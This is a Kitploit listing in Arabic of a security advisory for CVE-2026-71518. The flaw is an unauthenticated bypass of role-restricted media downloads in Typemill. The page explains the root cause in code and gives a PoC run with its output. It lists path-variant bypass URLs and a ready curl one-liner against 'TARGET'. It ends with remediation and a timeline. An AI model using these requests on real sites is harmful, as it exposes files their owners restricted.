Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-71518 — نشرة أمنية ومثال PoC لتجاوز التفويض دون مصادقة في تنزيلات وسائط Typemill، عبر استخدام متغيرات URL مكافئة للمسار للوصول إلى ملفات مقيّدة بالأدوار. | Kitploit
أدوات/GitHubGitHub/ilhomjonr/cve-2026-71518
المصادقة والترخيصتحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبأمن الويباختبار الاختراق
GitHubilhomjonr/cve-2026-71518

CVE-2026-71518

نشرة أمنية ومثال PoC لتجاوز التفويض دون مصادقة في تنزيلات وسائط Typemill، عبر استخدام متغيرات URL مكافئة للمسار للوصول إلى ملفات مقيّدة بالأدوار.

عرض المستودع
14منذ 23 أياملم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-71518 — تجاوز التفويض غير المصادق عليه في Typemill

متغيّرات مسار URL المكافئة تتجاوز قيود تنزيل الوسائط المقيدة بالأدوار

القيود مرتبطة بمسار الطلب الخام؛ بينما يُقرأ الملف من المسار الذي حُلّ بواسطة نظام التشغيل — وهما مختلفان

CVE CVSS 3.1 CVSS 4.0 CWE

Product Status Researcher

نظرة سريعة · ملخص · السبب الجذري · سلسلة الهجوم · استغلال الثغرة · المعالجة · الجدول الزمني


📋 نظرة سريعة


🔎 ملخص

يتيح Typemill للمسؤول تقييد ملفات وسائط فردية بدور مستخدم محدد عبر media/files/filerestrictions.yaml. ومن المفترض أن يلتزم مسار التنزيل العام بهذا القيد — لكنه يتحقق من القيد مقابل مسار الطلب الخام بينما يقدّم البايتات من المسار المُحلّ بواسطة نظام الملفات. ولأن الملف نفسه له عدة تهجئات مكافئة للمسار (./name, //name, %2e/name)، يختار المهاجم متغيرًا لا يطابق مفتاح القيد ومع ذلك يظل يُحلّ إلى نفس الملف على القرص.

لا يحمل المسار أي برمجية وسيطة للمصادقة، لذا تكون النتيجة تنزيلًا غير مصادق عليه بالكامل لملفات كانت مقفلة صراحةً لدور معين.


🧬 السبب الجذري

مسار التنزيل عام — لا توجد برمجية وسيطة للمصادقة عليه:

root@kitploit:~
// system/routes/web.php
$app->get('/media/files/{params:.*}', ...ControllerWebDownload::class . ':download');

داخل system/typemill/Controllers/ControllerWebDownload.php، يستخدم قرار التحكم بالوصول وقراءة الملف تمثيلين مختلفين لنفس المسار:

root@kitploit:~
// يتم البحث عن القيد باستخدام معلمة الطلب RAW غير المطبَّعة:
if (isset($restrictions['media/files/' . $args['params']])) {
    // ... فرض قيد الدور (إعادة توجيه إلى تسجيل الدخول إذا لم يُسمح)
}

// ... لكن البايتات تُقدَّم من المسار المُحلّ بواسطة نظام التشغيل:
$content = file_get_contents($base . $params);

validate() يرفض فقط تسلسل .. الحرفي — فهو لا يطبّع ./ أو //، ولا يرفض المكافئ المرمّز بالنسبة المئوية. لذلك يخرج مفتاح القيد والملف الذي يُقرأ فعليًا عن التزامن:

الثغرة هي النمط الكلاسيكي "قرار التفويض والوصول إلى المورد يعتمدان على سلسلتين مختلفتين يتحكم فيهما المهاجم" (CWE-639/CWE-863). $_SERVER['REQUEST_URI'] يبقى خامًا أيضًا تحت Apache، لذا فإن هذه المشكلة ليست مرتبطة بخادم معين.


⛓️ سلسلة الهجوم

root@kitploit:~
flowchart LR
    A[Admin restricts<br/>media/files/secret.pdf<br/>to role 'editor'] --> B[Anon requests<br/>/media/files/secret.pdf]
    B --> C{Restriction key<br/>matches raw path?}
    C -->|yes| D[302 → login<br/>🔒 blocked]
    A --> E[Anon requests<br/>/media/files/%2e/secret.pdf]
    E --> F{Restriction key<br/>matches raw path?}
    F -->|no| G[file_get_contents resolves<br/>./ // %2e to same file]
    G --> H[200 OK<br/>🟢 file leaked]
  1. يرفع المسؤول ملفًا خاصًا ويقيّده بدور معين في filerestrictions.yaml.
  2. يتم حظر الرابط الأساسي بشكل صحيح للمستخدمين المجهولين.
  3. يطلب المهاجم متغيرًا مكافئًا للمسار ← لا يطابق مفتاح القيد، والملف ما زال يُحلّ ← ينجح التنزيل دون أي اعتمادات.

💥 استغلال الثغرة

exploit/exploit.py يعيد إنتاج المشكلة من البداية إلى النهاية ضد حاوية اختبار محلية. يقوم بـ (1) جعل "المسؤول" يضع ملفًا خاصًا مقيدًا بدور editor، و(2) تأكيد أن الرابط الأساسي محظور للمستخدم المجهول، ثم (3) تنزيل نفس الملف عبر كل متغير مكافئ للمسار.

root@kitploit:~
# Bring up a local Typemill < 2.26.0 as container "typemill-test" on :8099, then:
python3 exploit/exploit.py

المخرجات المتوقعة:

root@kitploit:~
[CONTROL] GET /media/files/secret.pdf            -> http=302  (restriction enforced)
[BYPASS ] GET /media/files/./secret.pdf          -> http=200  leaked=True
[BYPASS ] GET /media/files//secret.pdf           -> http=200  leaked=True
[BYPASS ] GET /media/files/%2e/secret.pdf        -> http=200  leaked=True
>>> VULNERABLE: unauthenticated download of a role-restricted file (CWE-639)

سطر واحد ضد أي مضيف ثغرة (للاختبار المصرح به فقط):

root@kitploit:~
curl -s 'https://TARGET/media/files/%2e/restricted-file.pdf' -o loot.pdf

PoC evidence


🛠️ المعالجة

  • الترقية إلى Typemill 2.26.0 أو أحدث.
  • الإصلاح الصحيح هو تطبيع/توحيد مسار الطلب مرة واحدة، ثم استخدام تلك القيمة الموحدة لكلٍ من التحقق من القيد وقراءة الملف — بحيث لا يمكن أبدًا أن يختلف مفتاح التحكم بالوصول عن المورد المُقدَّم.
  • دفاعًا في العمق: الحل باستخدام realpath() والتأكد من الاحتواء داخل المجلد الأساسي للوسائط قبل القراءة، ورفض فواصل المسار المرمّزة بالنسبة المئوية.

🗓️ الجدول الزمني

التاريخالحدث
2026-08-04اكتشاف الثغرة في Typemill 2.25.0؛ تم التحقق من PoC بالكامل على Docker
2026-08-04الإبلاغ إلى المشرف / VulnCheck
—أُصلحت في Typemill

📚 المراجع

  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-71518
  • CVE Record: https://www.cve.org/CVERecord?id=CVE-2026-71518
  • Fixed release: https://github.com/typemill/typemill/releases/tag/v2.26.0

للاستخدام في الاختبارات الأمنية المصرح بها والأغراض التعليمية فقط. © @IlhomjonR

تنزيل الأداة
معرّف CVECVE-2026-71518
المنتجtypemill/typemill — Typemill (نظام إدارة محتوى PHP يعمل بالملفات المسطّحة، Slim 4)
المتأثرجميع الإصدارات < 2.26.0 (تم التحقق على 2.25.0، الالتزام 8f3901c)
أُصلح في2.26.0
نقطة الضعفCWE-863 (تفويض غير صحيح) · CWE-639 (تجاوز التفويض عبر مفتاح يتحكم فيه المستخدم)
CVSS v3.17.5 — عالية · AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
CVSS v4.08.7 — عالية
ناقل الهجومشبكة · بدون مصادقة · بدون تفاعل من المستخدم
الأثرتنزيل غير مصادق عليه لملفات الوسائط التي قيّدها المسؤول بدور متميز
الباحثIlhomjon Rustamov (@IlhomjonR)
مسار الطلبهل طابَق مفتاح القيد؟الملف المُحلّ على القرصالنتيجة
/media/files/secret.pdf✅ نعمsecret.pdf🔒 محظور (302 ← تسجيل الدخول)
/media/files/./secret.pdf❌ لاsecret.pdf🟢 تم التقديم (200)
/media/files//secret.pdf❌ لاsecret.pdf🟢 تم التقديم (200)
/media/files/%2e/secret.pdf❌ لاsecret.pdf🟢 تم التقديم (200)
2.26.0
2026-08-18CVE-2026-71518 أصبحت علنية؛ تم نشر الإشعار + PoC